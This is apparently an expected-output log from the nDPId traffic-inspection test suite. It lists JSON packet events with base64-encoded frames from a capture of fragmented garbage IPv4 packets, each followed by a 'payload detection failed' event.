+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651675,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651798,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651839,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651847,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651888,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651930,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651956,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 